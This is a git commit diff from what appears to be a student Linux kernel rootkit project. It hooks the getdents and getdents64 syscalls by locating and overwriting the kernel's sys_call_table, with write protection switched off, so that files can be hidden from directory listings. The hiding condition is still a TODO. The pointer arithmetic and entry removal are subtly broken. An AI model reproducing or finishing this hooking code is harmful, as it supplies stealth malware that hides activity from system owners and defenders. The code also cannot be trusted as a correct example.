commit 7c219242560ec5e39d96e6d8715544ce8ef8f345
parent 2ea4b34dde9ef43c23f7a8beea95c4ddcd8abf2f
Author: deurzen <m.deurzen@tum.de>
Date: Sat, 21 Nov 2020 17:30:53 +0100
initial getdents{,64} override
Diffstat:
6 files changed, 91 insertions(+), 28 deletions(-)
diff --git a/src/filehide.c b/src/filehide.c
@@ -1,24 +1,34 @@
+#include <linux/stddef.h>
+#include <linux/kernel.h>
+#include <linux/export.h>
+#include <linux/time.h>
+#include <linux/mm.h>
+#include <linux/errno.h>
+#include <linux/stat.h>
+#include <linux/file.h>
+#include <linux/fs.h>
+#include <linux/fsnotify.h>
+#include <linux/dirent.h>
+#include <linux/security.h>
+#include <linux/syscalls.h>
+#include <linux/unistd.h>
+
#include "filehide.h"
#include "hook.h"
-asmlinkage long
-g7_getdents(unsigned fd, struct linux_dirent __user *dirp, unsigned count)
-{
- return sys_getdents(fd, dirp, count);
-}
-
-asmlinkage long
-g7_getdents64(unsigned fd, struct linux_dirent64 __user *dirp, unsigned count)
-{
- return sys_getdents64(fd, dirp, count);
-}
+struct linux_dirent {
+ unsigned long d_ino;
+ unsigned long d_off;
+ unsigned short d_reclen;
+ char d_name[];
+};
void
hide_files(void)
{
disable_protection();
- sys_call_table[__NR_getdents] = (unsigned long)g7_getdents;
- sys_call_table[__NR_getdents64] = (unsigned long)g7_getdents64;
+ sys_calls[__NR_getdents] = (void *)filehide_getdents;
+ sys_calls[__NR_getdents64] = (void *)filehide_getdents64;
enable_protection();
}
@@ -26,7 +36,53 @@ void
unhide_files(void)
{
disable_protection();
- sys_call_table[__NR_getdents] = (unsigned long)sys_getdents;
- sys_call_table[__NR_getdents64] = (unsigned long)sys_getdents64;
+ sys_calls[__NR_getdents] = (void *)sys_getdents;
+ sys_calls[__NR_getdents64] = (void *)sys_getdents64;
enable_protection();
}
+
+// https://elixir.bootlin.com/linux/v4.4.19/source/fs/readdir.c#L197
+asmlinkage long
+filehide_getdents(unsigned fd, struct linux_dirent __user *dirent, unsigned count)
+{
+ typedef struct linux_dirent *dirent_ptr_t;
+
+ long ret = sys_getdents(fd, dirent, count);
+
+ if (ret < 0)
+ return ret;
+
+ for (long offset = 0; offset < ret;) {
+ dirent_ptr_t cur_dirent = (dirent_ptr_t)((char *)dirent) + offset;
+
+ if (false) // TODO: xattrs user.rootkit = rootkit
+ ret -= cur_dirent->d_reclen;
+ else
+ offset += cur_dirent->d_reclen;
+ }
+
+ return ret;
+}
+
+// https://elixir.bootlin.com/linux/v4.4.19/source/fs/readdir.c#L278
+asmlinkage long
+filehide_getdents64(unsigned fd, struct linux_dirent64 __user *dirent, unsigned count)
+{
+ typedef struct linux_dirent64 *dirent64_ptr_t;
+
+ long ret = sys_getdents64(fd, dirent, count);
+
+ if (ret < 0)
+ return ret;
+
+ for (long offset = 0; offset < ret;) {
+ dirent64_ptr_t cur_dirent = (dirent64_ptr_t)((char *)dirent) + offset;
+
+ if (false) // TODO: xattrs user.rootkit = rootkit
+ ret -= cur_dirent->d_reclen;
+ else
+ offset += cur_dirent->d_reclen;
+ }
+
+ return ret;
+}
diff --git a/src/filehide.h b/src/filehide.h
@@ -6,10 +6,10 @@
#include <linux/syscalls.h>
-asmlinkage long g7_getdents(unsigned, struct linux_dirent __user *, unsigned);
-asmlinkage long g7_getdents64(unsigned, struct linux_dirent64 __user *, unsigned);
-
void hide_files(void);
void unhide_files(void);
+asmlinkage long filehide_getdents(unsigned, struct linux_dirent __user *, unsigned);
+asmlinkage long filehide_getdents64(unsigned, struct linux_dirent64 __user *, unsigned);
+
#endif//_GROUP7_FILEHIDE_H
diff --git a/src/g7.c b/src/g7.c
@@ -40,7 +40,7 @@ static struct file_operations g7_fops =
rootkit_t rootkit = {
- .hiding_files = true,
+ .hiding_files = false,
};
@@ -93,9 +93,11 @@ g7_init(void)
mutex_init(&lock);
proc_create_data(G7_DEVICE, S_IRUSR | S_IWUSR, 0, &g7_fops, buf);
- if (!retrieve_sys_call_table())
+ if (retrieve_sys_call_table())
return -1;
+ init_hooks();
+
DEBUG_INFO("[g7_init] at /proc/%s\n", G7_DEVICE);
report_channels();
diff --git a/src/hook.c b/src/hook.c
@@ -3,7 +3,7 @@
#include "hook.h"
-unsigned long *sys_call_table;
+void **sys_calls;
asmlinkage long (*sys_getdents)(unsigned, struct linux_dirent *, unsigned);
asmlinkage long (*sys_getdents64)(unsigned, struct linux_dirent64 *, unsigned);
@@ -12,8 +12,8 @@ asmlinkage long (*sys_getdents64)(unsigned, struct linux_dirent64 *, unsigned);
int
retrieve_sys_call_table(void)
{
- return NULL == (sys_call_table
- = (unsigned long *)kallsyms_lookup_name("sys_call_table"));
+ return NULL == (sys_calls
+ = (void **)kallsyms_lookup_name("sys_call_table"));
}
void
@@ -21,8 +21,8 @@ init_hooks(void)
{
disable_protection();
- sys_getdents = (void *)sys_call_table[__NR_getdents];
- sys_getdents64 = (void *)sys_call_table[__NR_getdents64];
+ sys_getdents = (void *)sys_calls[__NR_getdents];
+ sys_getdents64 = (void *)sys_calls[__NR_getdents64];
enable_protection();
}
diff --git a/src/hook.h b/src/hook.h
@@ -5,7 +5,12 @@
#include <linux/dirent.h>
#include <linux/syscalls.h>
-extern unsigned long *sys_call_table;
+extern void **sys_calls;
+
+typedef struct {
+ void *ours;
+ void *orig;
+} hook_t;
extern asmlinkage long (*sys_getdents)(unsigned, struct linux_dirent *, unsigned);
extern asmlinkage long (*sys_getdents64)(unsigned, struct linux_dirent64 *, unsigned);
diff --git a/src/ioctl.c b/src/ioctl.c
@@ -37,10 +37,10 @@ detect_channel(unsigned cmd)
int
handle_ping(unsigned long arg)
{
- copy_from_user(buf, (const char *)arg, BUFLEN);
+ (void)copy_from_user(buf, (const char *)arg, BUFLEN);
if (!strcmp("PING", buf)) {
buf[1] = 'O';
- copy_to_user((char *)arg, buf, BUFLEN);
+ (void)copy_to_user((char *)arg, buf, BUFLEN);
}
return 0;